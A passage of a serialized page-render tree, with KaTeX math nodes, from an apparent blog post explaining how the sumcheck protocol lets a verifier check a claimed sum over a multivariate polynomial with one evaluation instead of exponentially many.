",{"type":24,"tag":156,"props":111125,"children":111127},{"className":111126},[7098,7099],[111128],{"type":24,"tag":930,"props":111129,"children":111131},{"className":111130},[7104],[111132],{"type":24,"tag":930,"props":111133,"children":111135},{"className":111134,"ariaHidden":7110},[7109],[111136],{"type":24,"tag":930,"props":111137,"children":111139},{"className":111138},[7115],[111140,111144,111149,111154,111159,111163,111168],{"type":24,"tag":930,"props":111141,"children":111143},{"className":111142,"style":7227},[7120],[],{"type":24,"tag":930,"props":111145,"children":111147},{"className":111146},[24818],[111148],{"type":30,"value":79697},{"type":24,"tag":930,"props":111150,"children":111152},{"className":111151},[7126],[111153],{"type":30,"value":1818},{"type":24,"tag":930,"props":111155,"children":111157},{"className":111156},[7238],[111158],{"type":30,"value":7241},{"type":24,"tag":930,"props":111160,"children":111162},{"className":111161,"style":7245},[7206],[],{"type":24,"tag":930,"props":111164,"children":111166},{"className":111165},[7126],[111167],{"type":30,"value":7129},{"type":24,"tag":930,"props":111169,"children":111171},{"className":111170},[24840],[111172,111177],{"type":24,"tag":930,"props":111173,"children":111175},{"className":111174},[24840],[111176],{"type":30,"value":37229},{"type":24,"tag":930,"props":111178,"children":111180},{"className":111179},[7142],[111181],{"type":24,"tag":930,"props":111182,"children":111184},{"className":111183},[7147],[111185],{"type":24,"tag":930,"props":111186,"children":111188},{"className":111187},[7152],[111189],{"type":24,"tag":930,"props":111190,"children":111193},{"className":111191,"style":111192},[7157],"height:0.6644em;",[111194],{"type":24,"tag":930,"props":111195,"children":111196},{"style":7161},[111197,111201],{"type":24,"tag":930,"props":111198,"children":111200},{"className":111199,"style":7167},[7166],[],{"type":24,"tag":930,"props":111202,"children":111204},{"className":111203},[7172,7173,7174,7175],[111205],{"type":24,"tag":930,"props":111206,"children":111208},{"className":111207},[7126,24690,7175],[111209],{"type":30,"value":59493},{"type":30,"value":111211},"), i.e the claim:",{"type":24,"tag":33,"props":111213,"children":111214},{},[111215],{"type":24,"tag":156,"props":111216,"children":111218},{"className":111217},[7098,7099],[111219],{"type":24,"tag":930,"props":111220,"children":111222},{"className":111221},[7104],[111223],{"type":24,"tag":930,"props":111224,"children":111226},{"className":111225,"ariaHidden":7110},[7109],[111227,111253],{"type":24,"tag":930,"props":111228,"children":111230},{"className":111229},[7115],[111231,111235,111240,111244,111249],{"type":24,"tag":930,"props":111232,"children":111234},{"className":111233,"style":24685},[7120],[],{"type":24,"tag":930,"props":111236,"children":111238},{"className":111237,"style":96346},[7126,24690],[111239],{"type":30,"value":96349},{"type":24,"tag":930,"props":111241,"children":111243},{"className":111242,"style":7304},[7206],[],{"type":24,"tag":930,"props":111245,"children":111247},{"className":111246},[7309],[111248],{"type":30,"value":1161},{"type":24,"tag":930,"props":111250,"children":111252},{"className":111251,"style":7304},[7206],[],{"type":24,"tag":930,"props":111254,"children":111256},{"className":111255},[7115],[111257,111261,111411,111415,111558,111562,111569,111573,111717,111721,111727,111732,111789,111794,111798,111855,111860,111864,111870,111874,111879,111883,111941],{"type":24,"tag":930,"props":111258,"children":111260},{"className":111259,"style":24720},[7120],[],{"type":24,"tag":930,"props":111262,"children":111264},{"className":111263},[24725],[111265,111271],{"type":24,"tag":930,"props":111266,"children":111268},{"className":111267,"style":24732},[24725,24730,24731],[111269],{"type":30,"value":111270},"∑",{"type":24,"tag":930,"props":111272,"children":111274},{"className":111273},[7142],[111275],{"type":24,"tag":930,"props":111276,"children":111278},{"className":111277},[7147,24743],[111279,111400],{"type":24,"tag":930,"props":111280,"children":111282},{"className":111281},[7152],[111283,111395],{"type":24,"tag":930,"props":111284,"children":111286},{"className":111285,"style":24752},[7157],[111287],{"type":24,"tag":930,"props":111288,"children":111289},{"style":24756},[111290,111294],{"type":24,"tag":930,"props":111291,"children":111293},{"className":111292,"style":7167},[7166],[],{"type":24,"tag":930,"props":111295,"children":111297},{"className":111296},[7172,7173,7174,7175],[111298],{"type":24,"tag":930,"props":111299,"children":111301},{"className":111300},[7126,7175],[111302,111365,111370,111375,111380,111385,111390],{"type":24,"tag":930,"props":111303,"children":111305},{"className":111304},[7126,7175],[111306,111311],{"type":24,"tag":930,"props":111307,"children":111309},{"className":111308},[7126,24690,7175],[111310],{"type":30,"value":22378},{"type":24,"tag":930,"props":111312,"children":111314},{"className":111313},[7142],[111315],{"type":24,"tag":930,"props":111316,"children":111318},{"className":111317},[7147,24743],[111319,111353],{"type":24,"tag":930,"props":111320,"children":111322},{"className":111321},[7152],[111323,111348],{"type":24,"tag":930,"props":111324,"children":111327},{"className":111325,"style":111326},[7157],"height:0.3173em;",[111328],{"type":24,"tag":930,"props":111329,"children":111331},{"style":111330},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[111332,111337],{"type":24,"tag":930,"props":111333,"children":111336},{"className":111334,"style":111335},[7166],"height:2.5em;",[],{"type":24,"tag":930,"props":111338,"children":111342},{"className":111339},[7172,111340,111341,7175],"reset-size3","size1",[111343],{"type":24,"tag":930,"props":111344,"children":111346},{"className":111345},[7126,7175],[111347],{"type":30,"value":7129},{"type":24,"tag":930,"props":111349,"children":111351},{"className":111350},[24846],[111352],{"type":30,"value":24849},{"type":24,"tag":930,"props":111354,"children":111356},{"className":111355},[7152],[111357],{"type":24,"tag":930,"props":111358,"children":111361},{"className":111359,"style":111360},[7157],"height:0.143em;",[111362],{"type":24,"tag":930,"props":111363,"children":111364},{},[],{"type":24,"tag":930,"props":111366,"children":111368},{"className":111367},[7309,7175],[111369],{"type":30,"value":24796},{"type":24,"tag":930,"props":111371,"children":111373},{"className":111372},[24818,7175],[111374],{"type":30,"value":79697},{"type":24,"tag":930,"props":111376,"children":111378},{"className":111377},[7126,7175],[111379],{"type":30,"value":1818},{"type":24,"tag":930,"props":111381,"children":111383},{"className":111382},[7238,7175],[111384],{"type":30,"value":7241},{"type":24,"tag":930,"props":111386,"children":111388},{"className":111387},[7126,7175],[111389],{"type":30,"value":7129},{"type":24,"tag":930,"props":111391,"children":111393},{"className":111392},[24840,7175],[111394],{"type":30,"value":37229},{"type":24,"tag":930,"props":111396,"children":111398},{"className":111397},[24846],[111399],{"type":30,"value":24849},{"type":24,"tag":930,"props":111401,"children":111403},{"className":111402},[7152],[111404],{"type":24,"tag":930,"props":111405,"children":111407},{"className":111406,"style":24857},[7157],[111408],{"type":24,"tag":930,"props":111409,"children":111410},{},[],{"type":24,"tag":930,"props":111412,"children":111414},{"className":111413,"style":7245},[7206],[],{"type":24,"tag":930,"props":111416,"children":111418},{"className":111417},[24725],[111419,111424],{"type":24,"tag":930,"props":111420,"children":111422},{"className":111421,"style":24732},[24725,24730,24731],[111423],{"type":30,"value":111270},{"type":24,"tag":930,"props":111425,"children":111427},{"className":111426},[7142],[111428],{"type":24,"tag":930,"props":111429,"children":111431},{"className":111430},[7147,24743],[111432,111547],{"type":24,"tag":930,"props":111433,"children":111435},{"className":111434},[7152],[111436,111542],{"type":24,"tag":930,"props":111437,"children":111439},{"className":111438,"style":24752},[7157],[111440],{"type":24,"tag":930,"props":111441,"children":111442},{"style":24756},[111443,111447],{"type":24,"tag":930,"props":111444,"children":111446},{"className":111445,"style":7167},[7166],[],{"type":24,"tag":930,"props":111448,"children":111450},{"className":111449},[7172,7173,7174,7175],[111451],{"type":24,"tag":930,"props":111452,"children":111454},{"className":111453},[7126,7175],[111455,111512,111517,111522,111527,111532,111537],{"type":24,"tag":930,"props":111456,"children":111458},{"className":111457},[7126,7175],[111459,111464],{"type":24,"tag":930,"props":111460,"children":111462},{"className":111461},[7126,24690,7175],[111463],{"type":30,"value":22378},{"type":24,"tag":930,"props":111465,"children":111467},{"className":111466},[7142],[111468],{"type":24,"tag":930,"props":111469,"children":111471},{"className":111470},[7147,24743],[111472,111501],{"type":24,"tag":930,"props":111473,"children":111475},{"className":111474},[7152],[111476,111496],{"type":24,"tag":930,"props":111477,"children":111479},{"className":111478,"style":111326},[7157],[111480],{"type":24,"tag":930,"props":111481,"children":111482},{"style":111330},[111483,111487],{"type":24,"tag":930,"props":111484,"children":111486},{"className":111485,"style":111335},[7166],[],{"type":24,"tag":930,"props":111488,"children":111490},{"className":111489},[7172,111340,111341,7175],[111491],{"type":24,"tag":930,"props":111492,"children":111494},{"className":111493},[7126,7175],[111495],{"type":30,"value":6244},{"type":24,"tag":930,"props":111497,"children":111499},{"className":111498},[24846],[111500],{"type":30,"value":24849},{"type":24,"tag":930,"props":111502,"children":111504},{"className":111503},[7152],[111505],{"type":24,"tag":930,"props":111506,"children":111508},{"className":111507,"style":111360},[7157],[111509],{"type":24,"tag":930,"props":111510,"children":111511},{},[],{"type":24,"tag":930,"props":111513,"children":111515},{"className":111514},[7309,7175],[111516],{"type":30,"value":24796},{"type":24,"tag":930,"props":111518,"children":111520},{"className":111519},[24818,7175],[111521],{"type":30,"value":79697},{"type":24,"tag":930,"props":111523,"children":111525},{"className":111524},[7126,7175],[111526],{"type":30,"value":1818},{"type":24,"tag":930,"props":111528,"children":111530},{"className":111529},[7238,7175],[111531],{"type":30,"value":7241},{"type":24,"tag":930,"props":111533,"children":111535},{"className":111534},[7126,7175],[111536],{"type":30,"value":7129},{"type":24,"tag":930,"props":111538,"children":111540},{"className":111539},[24840,7175],[111541],{"type":30,"value":37229},{"type":24,"tag":930,"props":111543,"children":111545},{"className":111544},[24846],[111546],{"type":30,"value":24849},{"type":24,"tag":930,"props":111548,"children":111550},{"className":111549},[7152],[111551],{"type":24,"tag":930,"props":111552,"children":111554},{"className":111553,"style":24857},[7157],[111555],{"type":24,"tag":930,"props":111556,"children":111557},{},[],{"type":24,"tag":930,"props":111559,"children":111561},{"className":111560,"style":7245},[7206],[],{"type":24,"tag":930,"props":111563,"children":111566},{"className":111564},[111565],"minner",[111567],{"type":30,"value":111568},"⋯",{"type":24,"tag":930,"props":111570,"children":111572},{"className":111571,"style":7245},[7206],[],{"type":24,"tag":930,"props":111574,"children":111576},{"className":111575},[24725],[111577,111582],{"type":24,"tag":930,"props":111578,"children":111580},{"className":111579,"style":24732},[24725,24730,24731],[111581],{"type":30,"value":111270},{"type":24,"tag":930,"props":111583,"children":111585},{"className":111584},[7142],[111586],{"type":24,"tag":930,"props":111587,"children":111589},{"className":111588},[7147,24743],[111590,111706],{"type":24,"tag":930,"props":111591,"children":111593},{"className":111592},[7152],[111594,111701],{"type":24,"tag":930,"props":111595,"children":111597},{"className":111596,"style":24752},[7157],[111598],{"type":24,"tag":930,"props":111599,"children":111600},{"style":24756},[111601,111605],{"type":24,"tag":930,"props":111602,"children":111604},{"className":111603,"style":7167},[7166],[],{"type":24,"tag":930,"props":111606,"children":111608},{"className":111607},[7172,7173,7174,7175],[111609],{"type":24,"tag":930,"props":111610,"children":111612},{"className":111611},[7126,7175],[111613,111671,111676,111681,111686,111691,111696],{"type":24,"tag":930,"props":111614,"children":111616},{"className":111615},[7126,7175],[111617,111622],{"type":24,"tag":930,"props":111618,"children":111620},{"className":111619},[7126,24690,7175],[111621],{"type":30,"value":22378},{"type":24,"tag":930,"props":111623,"children":111625},{"className":111624},[7142],[111626],{"type":24,"tag":930,"props":111627,"children":111629},{"className":111628},[7147,24743],[111630,111660],{"type":24,"tag":930,"props":111631,"children":111633},{"className":111632},[7152],[111634,111655],{"type":24,"tag":930,"props":111635,"children":111638},{"className":111636,"style":111637},[7157],"height:0.1645em;",[111639],{"type":24,"tag":930,"props":111640,"children":111641},{"style":111330},[111642,111646],{"type":24,"tag":930,"props":111643,"children":111645},{"className":111644,"style":111335},[7166],[],{"type":24,"tag":930,"props":111647,"children":111649},{"className":111648},[7172,111340,111341,7175],[111650],{"type":24,"tag":930,"props":111651,"children":111653},{"className":111652},[7126,24690,7175],[111654],{"type":30,"value":59493},{"type":24,"tag":930,"props":111656,"children":111658},{"className":111657},[24846],[111659],{"type":30,"value":24849},{"type":24,"tag":930,"props":111661,"children":111663},{"className":111662},[7152],[111664],{"type":24,"tag":930,"props":111665,"children":111667},{"className":111666,"style":111360},[7157],[111668],{"type":24,"tag":930,"props":111669,"children":111670},{},[],{"type":24,"tag":930,"props":111672,"children":111674},{"className":111673},[7309,7175],[111675],{"type":30,"value":24796},{"type":24,"tag":930,"props":111677,"children":111679},{"className":111678},[24818,7175],[111680],{"type":30,"value":79697},{"type":24,"tag":930,"props":111682,"children":111684},{"className":111683},[7126,7175],[111685],{"type":30,"value":1818},{"type":24,"tag":930,"props":111687,"children":111689},{"className":111688},[7238,7175],[111690],{"type":30,"value":7241},{"type":24,"tag":930,"props":111692,"children":111694},{"className":111693},[7126,7175],[111695],{"type":30,"value":7129},{"type":24,"tag":930,"props":111697,"children":111699},{"className":111698},[24840,7175],[111700],{"type":30,"value":37229},{"type":24,"tag":930,"props":111702,"children":111704},{"className":111703},[24846],[111705],{"type":30,"value":24849},{"type":24,"tag":930,"props":111707,"children":111709},{"className":111708},[7152],[111710],{"type":24,"tag":930,"props":111711,"children":111713},{"className":111712,"style":24857},[7157],[111714],{"type":24,"tag":930,"props":111715,"children":111716},{},[],{"type":24,"tag":930,"props":111718,"children":111720},{"className":111719,"style":7245},[7206],[],{"type":24,"tag":930,"props":111722,"children":111724},{"className":111723,"style":96598},[7126,24690],[111725],{"type":30,"value":111726},"g",{"type":24,"tag":930,"props":111728,"children":111730},{"className":111729},[24818],[111731],{"type":30,"value":1010},{"type":24,"tag":930,"props":111733,"children":111735},{"className":111734},[7126],[111736,111741],{"type":24,"tag":930,"props":111737,"children":111739},{"className":111738},[7126,24690],[111740],{"type":30,"value":22378},{"type":24,"tag":930,"props":111742,"children":111744},{"className":111743},[7142],[111745],{"type":24,"tag":930,"props":111746,"children":111748},{"className":111747},[7147,24743],[111749,111778],{"type":24,"tag":930,"props":111750,"children":111752},{"className":111751},[7152],[111753,111773],{"type":24,"tag":930,"props":111754,"children":111756},{"className":111755,"style":96164},[7157],[111757],{"type":24,"tag":930,"props":111758,"children":111759},{"style":96168},[111760,111764],{"type":24,"tag":930,"props":111761,"children":111763},{"className":111762,"style":7167},[7166],[],{"type":24,"tag":930,"props":111765,"children":111767},{"className":111766},[7172,7173,7174,7175],[111768],{"type":24,"tag":930,"props":111769,"children":111771},{"className":111770},[7126,7175],[111772],{"type":30,"value":7129},{"type":24,"tag":930,"props":111774,"children":111776},{"className":111775},[24846],[111777],{"type":30,"value":24849},{"type":24,"tag":930,"props":111779,"children":111781},{"className":111780},[7152],[111782],{"type":24,"tag":930,"props":111783,"children":111785},{"className":111784,"style":96195},[7157],[111786],{"type":24,"tag":930,"props":111787,"children":111788},{},[],{"type":24,"tag":930,"props":111790,"children":111792},{"className":111791},[7238],[111793],{"type":30,"value":7241},{"type":24,"tag":930,"props":111795,"children":111797},{"className":111796,"style":7245},[7206],[],{"type":24,"tag":930,"props":111799,"children":111801},{"className":111800},[7126],[111802,111807],{"type":24,"tag":930,"props":111803,"children":111805},{"className":111804},[7126,24690],[111806],{"type":30,"value":22378},{"type":24,"tag":930,"props":111808,"children":111810},{"className":111809},[7142],[111811],{"type":24,"tag":930,"props":111812,"children":111814},{"className":111813},[7147,24743],[111815,111844],{"type":24,"tag":930,"props":111816,"children":111818},{"className":111817},[7152],[111819,111839],{"type":24,"tag":930,"props":111820,"children":111822},{"className":111821,"style":96164},[7157],[111823],{"type":24,"tag":930,"props":111824,"children":111825},{"style":96168},[111826,111830],{"type":24,"tag":930,"props":111827,"children":111829},{"className":111828,"style":7167},[7166],[],{"type":24,"tag":930,"props":111831,"children":111833},{"className":111832},[7172,7173,7174,7175],[111834],{"type":24,"tag":930,"props":111835,"children":111837},{"className":111836},[7126,7175],[111838],{"type":30,"value":6244},{"type":24,"tag":930,"props":111840,"children":111842},{"className":111841},[24846],[111843],{"type":30,"value":24849},{"type":24,"tag":930,"props":111845,"children":111847},{"className":111846},[7152],[111848],{"type":24,"tag":930,"props":111849,"children":111851},{"className":111850,"style":96195},[7157],[111852],{"type":24,"tag":930,"props":111853,"children":111854},{},[],{"type":24,"tag":930,"props":111856,"children":111858},{"className":111857},[7238],[111859],{"type":30,"value":7241},{"type":24,"tag":930,"props":111861,"children":111863},{"className":111862,"style":7245},[7206],[],{"type":24,"tag":930,"props":111865,"children":111867},{"className":111866},[111565],[111868],{"type":30,"value":111869},"…",{"type":24,"tag":930,"props":111871,"children":111873},{"className":111872,"style":7245},[7206],[],{"type":24,"tag":930,"props":111875,"children":111877},{"className":111876},[7238],[111878],{"type":30,"value":7241},{"type":24,"tag":930,"props":111880,"children":111882},{"className":111881,"style":7245},[7206],[],{"type":24,"tag":930,"props":111884,"children":111886},{"className":111885},[7126],[111887,111892],{"type":24,"tag":930,"props":111888,"children":111890},{"className":111889},[7126,24690],[111891],{"type":30,"value":22378},{"type":24,"tag":930,"props":111893,"children":111895},{"className":111894},[7142],[111896],{"type":24,"tag":930,"props":111897,"children":111899},{"className":111898},[7147,24743],[111900,111930],{"type":24,"tag":930,"props":111901,"children":111903},{"className":111902},[7152],[111904,111925],{"type":24,"tag":930,"props":111905,"children":111908},{"className":111906,"style":111907},[7157],"height:0.1514em;",[111909],{"type":24,"tag":930,"props":111910,"children":111911},{"style":96168},[111912,111916],{"type":24,"tag":930,"props":111913,"children":111915},{"className":111914,"style":7167},[7166],[],{"type":24,"tag":930,"props":111917,"children":111919},{"className":111918},[7172,7173,7174,7175],[111920],{"type":24,"tag":930,"props":111921,"children":111923},{"className":111922},[7126,24690,7175],[111924],{"type":30,"value":59493},{"type":24,"tag":930,"props":111926,"children":111928},{"className":111927},[24846],[111929],{"type":30,"value":24849},{"type":24,"tag":930,"props":111931,"children":111933},{"className":111932},[7152],[111934],{"type":24,"tag":930,"props":111935,"children":111937},{"className":111936,"style":96195},[7157],[111938],{"type":24,"tag":930,"props":111939,"children":111940},{},[],{"type":24,"tag":930,"props":111942,"children":111944},{"className":111943},[24840],[111945],{"type":30,"value":6249},{"type":24,"tag":33,"props":111947,"children":111948},{},[111949,111951,112012],{"type":30,"value":111950},"The naive approach would be for the verifier to compute all ",{"type":24,"tag":156,"props":111952,"children":111954},{"className":111953},[7098,7099],[111955],{"type":24,"tag":930,"props":111956,"children":111958},{"className":111957},[7104],[111959],{"type":24,"tag":930,"props":111960,"children":111962},{"className":111961,"ariaHidden":7110},[7109],[111963],{"type":24,"tag":930,"props":111964,"children":111966},{"className":111965},[7115],[111967,111971],{"type":24,"tag":930,"props":111968,"children":111970},{"className":111969,"style":111192},[7120],[],{"type":24,"tag":930,"props":111972,"children":111974},{"className":111973},[7126],[111975,111980],{"type":24,"tag":930,"props":111976,"children":111978},{"className":111977},[7126],[111979],{"type":30,"value":6244},{"type":24,"tag":930,"props":111981,"children":111983},{"className":111982},[7142],[111984],{"type":24,"tag":930,"props":111985,"children":111987},{"className":111986},[7147],[111988],{"type":24,"tag":930,"props":111989,"children":111991},{"className":111990},[7152],[111992],{"type":24,"tag":930,"props":111993,"children":111995},{"className":111994,"style":111192},[7157],[111996],{"type":24,"tag":930,"props":111997,"children":111998},{"style":7161},[111999,112003],{"type":24,"tag":930,"props":112000,"children":112002},{"className":112001,"style":7167},[7166],[],{"type":24,"tag":930,"props":112004,"children":112006},{"className":112005},[7172,7173,7174,7175],[112007],{"type":24,"tag":930,"props":112008,"children":112010},{"className":112009},[7126,24690,7175],[112011],{"type":30,"value":59493},{"type":30,"value":112013}," evaluations. This is exponentially expensive.",{"type":24,"tag":33,"props":112015,"children":112016},{},[112017,112019,112024],{"type":30,"value":112018},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":24,"tag":275,"props":112020,"children":112021},{},[112022],{"type":30,"value":112023},"only one",{"type":30,"value":436},{"type":24,"tag":33,"props":112026,"children":112027},{},[112028],{"type":24,"tag":140,"props":112029,"children":112032},{"alt":112030,"src":112031},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":24,"tag":33,"props":112034,"children":112035},{},[112036,112038,112130,112132,112317,112319,112344,112346,112424,112426,112505],{"type":30,"value":112037},"In each round, the prover must send a polynomial ",{"type":24,"tag":156,"props":112039,"children":112041},{"className":112040},[7098,7099],[112042],{"type":24,"tag":930,"props":112043,"children":112045},{"className":112044},[7104],[112046],{"type":24,"tag":930,"props":112047,"children":112049},{"className":112048,"ariaHidden":7110},[7109],[112050],{"type":24,"tag":930,"props":112051,"children":112053},{"className":112052},[7115],[112054,112058,112115,112120,112125],{"type":24,"tag":930,"props":112055,"children":112057},{"className":112056,"style":7227},[7120],[],{"type":24,"tag":930,"props":112059,"children":112061},{"className":112060},[7126],[112062,112067],{"type":24,"tag":930,"props":112063,"children":112065},{"className":112064,"style":96598},[7126,24690],[112066],{"type":30,"value":111726},{"type":24,"tag":930,"props":112068,"children":112070},{"className":112069},[7142],[112071],{"type":24,"tag":930,"props":112072,"children":112074},{"className":112073},[7147,24743],[112075,112104],{"type":24,"tag":930,"props":112076,"children":112078},{"className":112077},[7152],[112079,112099],{"type":24,"tag":930,"props":112080,"children":112082},{"className":112081,"style":96641},[7157],[112083],{"type":24,"tag":930,"props":112084,"children":112085},{"style":96645},[112086,112090],{"type":24,"tag":930,"props":112087,"children":112089},{"className":112088,"style":7167},[7166],[],{"type":24,"tag":930,"props":112091,"children":112093},{"className":112092},[7172,7173,7174,7175],[112094],{"type":24,"tag":930,"props":112095,"children":112097},{"className":112096},[7126,24690,7175],[112098],{"type":30,"value":6854},{"type":24,"tag":930,"props":112100,"children":112102},{"className":112101},[24846],[112103],{"type":30,"value":24849},{"type":24,"tag":930,"props":112105,"children":112107},{"className":112106},[7152],[112108],{"type":24,"tag":930,"props":112109,"children":112111},{"className":112110,"style":96195},[7157],[112112],{"type":24,"tag":930,"props":112113,"children":112114},{},[],{"type":24,"tag":930,"props":112116,"children":112118},{"className":112117},[24818],[112119],{"type":30,"value":1010},{"type":24,"tag":930,"props":112121,"children":112123},{"className":112122,"style":98132},[7126,24690],[112124],{"type":30,"value":9246},{"type":24,"tag":930,"props":112126,"children":112128},{"className":112127},[24840],[112129],{"type":30,"value":6249},{"type":30,"value":112131}," such that ",{"type":24,"tag":156,"props":112133,"children":112135},{"className":112134},[7098,7099],[112136],{"type":24,"tag":930,"props":112137,"children":112139},{"className":112138},[7104],[112140],{"type":24,"tag":930,"props":112141,"children":112143},{"className":112142,"ariaHidden":7110},[7109],[112144,112237],{"type":24,"tag":930,"props":112145,"children":112147},{"className":112146},[7115],[112148,112152,112209,112214,112219,112224,112228,112233],{"type":24,"tag":930,"props":112149,"children":112151},{"className":112150,"style":7227},[7120],[],{"type":24,"tag":930,"props":112153,"children":112155},{"className":112154},[7126],[112156,112161],{"type":24,"tag":930,"props":112157,"children":112159},{"className":112158,"style":96598},[7126,24690],[112160],{"type":30,"value":111726},{"type":24,"tag":930,"props":112162,"children":112164},{"className":112163},[7142],[112165],{"type":24,"tag":930,"props":112166,"children":112168},{"className":112167},[7147,24743],[112169,112198],{"type":24,"tag":930,"props":112170,"children":112172},{"className":112171},[7152],[112173,112193],{"type":24,"tag":930,"props":112174,"children":112176},{"className":112175,"style":96641},[7157],[112177],{"type":24,"tag":930,"props":112178,"children":112179},{"style":96645},[112180,112184],{"type":24,"tag":930,"props":112181,"children":112183},{"className":112182,"style":7167},[7166],[],{"type":24,"tag":930,"props":112185,"children":112187},{"className":112186},[7172,7173,7174,7175],[112188],{"type":24,"tag":930,"props":112189,"children":112191},{"className":112190},[7126,24690,7175],[112192],{"type":30,"value":6854},{"type":24,"tag":930,"props":112194,"children":112196},{"className":112195},[24846],[112197],{"type":30,"value":24849},{"type":24,"tag":930,"props":112199,"children":112201},{"className":112200},[7152],[112202],{"type":24,"tag":930,"props":112203,"children":112205},{"className":112204,"style":96195},[7157],[112206],{"type":24,"tag":930,"props":112207,"children":112208},{},[],{"type":24,"tag":930,"props":112210,"children":112212},{"className":112211},[24818],[112213],{"type":30,"value":1010},{"type":24,"tag":930,"props":112215,"children":112217},{"className":112216},[7126],[112218],{"type":30,"value":1818},{"type":24,"tag":930,"props":112220,"children":112222},{"className":112221},[24840],[112223],{"type":30,"value":6249},{"type":24,"tag":930,"props":112225,"children":112227},{"className":112226,"style":7207},[7206],[],{"type":24,"tag":930,"props":112229,"children":112231},{"className":112230},[7212],[112232],{"type":30,"value":1400},{"type":24,"tag":930,"props":112234,"children":112236},{"className":112235,"style":7207},[7206],[],{"type":24,"tag":930,"props":112238,"children":112240},{"className":112239},[7115],[112241,112245,112302,112307,112312],{"type":24,"tag":930,"props":112242,"children":112244},{"className":112243,"style":7227},[7120],[],{"type":24,"tag":930,"props":112246,"children":112248},{"className":112247},[7126],[112249,112254],{"type":24,"tag":930,"props":112250,"children":112252},{"className":112251,"style":96598},[7126,24690],[112253],{"type":30,"value":111726},{"type":24,"tag":930,"props":112255,"children":112257},{"className":112256},[7142],[112258],{"type":24,"tag":930,"props":112259,"children":112261},{"className":112260},[7147,24743],[112262,112291],{"type":24,"tag":930,"props":112263,"children":112265},{"className":112264},[7152],[112266,112286],{"type":24,"tag":930,"props":112267,"children":112269},{"className":112268,"style":96641},[7157],[112270],{"type":24,"tag":930,"props":112271,"children":112272},{"style":96645},[112273,112277],{"type":24,"tag":930,"props":112274,"children":112276},{"className":112275,"style":7167},[7166],[],{"type":24,"tag":930,"props":112278,"children":112280},{"className":112279},[7172,7173,7174,7175],[112281],{"type":24,"tag":930,"props":112282,"children":112284},{"className":112283},[7126,24690,7175],[112285],{"type":30,"value":6854},{"type":24,"tag":930,"props":112287,"children":112289},{"className":112288},[24846],[112290],{"type":30,"value":24849},{"type":24,"tag":930,"props":112292,"children":112294},{"className":112293},[7152],[112295],{"type":24,"tag":930,"props":112296,"children":112298},{"className":112297,"style":96195},[7157],[112299],{"type":24,"tag":930,"props":112300,"children":112301},{},[],{"type":24,"tag":930,"props":112303,"children":112305},{"className":112304},[24818],[112306],{"type":30,"value":1010},{"type":24,"tag":930,"props":112308,"children":112310},{"className":112309},[7126],[112311],{"type":30,"value":7129},{"type":24,"tag":930,"props":112313,"children":112315},{"className":112314},[24840],[112316],{"type":30,"value":6249},{"type":30,"value":112318}," equals the previous claim. If the prover is lying about the original sum ",{"type":24,"tag":156,"props":112320,"children":112322},{"className":112321},[7098,7099],[112323],{"type":24,"tag":930,"props":112324,"children":112326},{"className":112325},[7104],[112327],{"type":24,"tag":930,"props":112328,"children":112330},{"className":112329,"ariaHidden":7110},[7109],[112331],{"type":24,"tag":930,"props":112332,"children":112334},{"className":112333},[7115],[112335,112339],{"type":24,"tag":930,"props":112336,"children":112338},{"className":112337,"style":24685},[7120],[],{"type":24,"tag":930,"props":112340,"children":112342},{"className":112341,"style":96346},[7126,24690],[112343],{"type":30,"value":96349},{"type":30,"value":112345},", then they must lie about ",{"type":24,"tag":156,"props":112347,"children":112349},{"className":112348},[7098,7099],[112350],{"type":24,"tag":930,"props":112351,"children":112353},{"className":112352},[7104],[112354],{"type":24,"tag":930,"props":112355,"children":112357},{"className":112356,"ariaHidden":7110},[7109],[112358],{"type":24,"tag":930,"props":112359,"children":112361},{"className":112360},[7115],[112362,112367],{"type":24,"tag":930,"props":112363,"children":112366},{"className":112364,"style":112365},[7120],"height:0.625em;vertical-align:-0.1944em;",[],{"type":24,"tag":930,"props":112368,"children":112370},{"className":112369},[7126],[112371,112376],{"type":24,"tag":930,"props":112372,"children":112374},{"className":112373,"style":96598},[7126,24690],[112375],{"type":30,"value":111726},{"type":24,"tag":930,"props":112377,"children":112379},{"className":112378},[7142],[112380],{"type":24,"tag":930,"props":112381,"children":112383},{"className":112382},[7147,24743],[112384,112413],{"type":24,"tag":930,"props":112385,"children":112387},{"className":112386},[7152],[112388,112408],{"type":24,"tag":930,"props":112389,"children":112391},{"className":112390,"style":96641},[7157],[112392],{"type":24,"tag":930,"props":112393,"children":112394},{"style":96645},[112395,112399],{"type":24,"tag":930,"props":112396,"children":112398},{"className":112397,"style":7167},[7166],[],{"type":24,"tag":930,"props":112400,"children":112402},{"className":112401},[7172,7173,7174,7175],[112403],{"type":24,"tag":930,"props":112404,"children":112406},{"className":112405},[7126,24690,7175],[112407],{"type":30,"value":6854},{"type":24,"tag":930,"props":112409,"children":112411},{"className":112410},[24846],[112412],{"type":30,"value":24849},{"type":24,"tag":930,"props":112414,"children":112416},{"className":112415},[7152],[112417],{"type":24,"tag":930,"props":112418,"children":112420},{"className":112419,"style":96195},[7157],[112421],{"type":24,"tag":930,"props":112422,"children":112423},{},[],{"type":30,"value":112425}," somewhere. But since the verifier picks a random ",{"type":24,"tag":156,"props":112427,"children":112429},{"className":112428},[7098,7099],[112430],{"type":24,"tag":930,"props":112431,"children":112433},{"className":112432},[7104],[112434],{"type":24,"tag":930,"props":112435,"children":112437},{"className":112436,"ariaHidden":7110},[7109],[112438],{"type":24,"tag":930,"props":112439,"children":112441},{"className":112440},[7115],[112442,112447],{"type":24,"tag":930,"props":112443,"children":112446},{"className":112444,"style":112445},[7120],"height:0.5806em;vertical-align:-0.15em;",[],{"type":24,"tag":930,"props":112448,"children":112450},{"className":112449},[7126],[112451,112456],{"type":24,"tag":930,"props":112452,"children":112454},{"className":112453,"style":96112},[7126,24690],[112455],{"type":30,"value":96931},{"type":24,"tag":930,"props":112457,"children":112459},{"className":112458},[7142],[112460],{"type":24,"tag":930,"props":112461,"children":112463},{"className":112462},[7147,24743],[112464,112494],{"type":24,"tag":930,"props":112465,"children":112467},{"className":112466},[7152],[112468,112489],{"type":24,"tag":930,"props":112469,"children":112471},{"className":112470,"style":96641},[7157],[112472],{"type":24,"tag":930,"props":112473,"children":112475},{"style":112474},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[112476,112480],{"type":24,"tag":930,"props":112477,"children":112479},{"className":112478,"style":7167},[7166],[],{"type":24,"tag":930,"props":112481,"children":112483},{"className":1124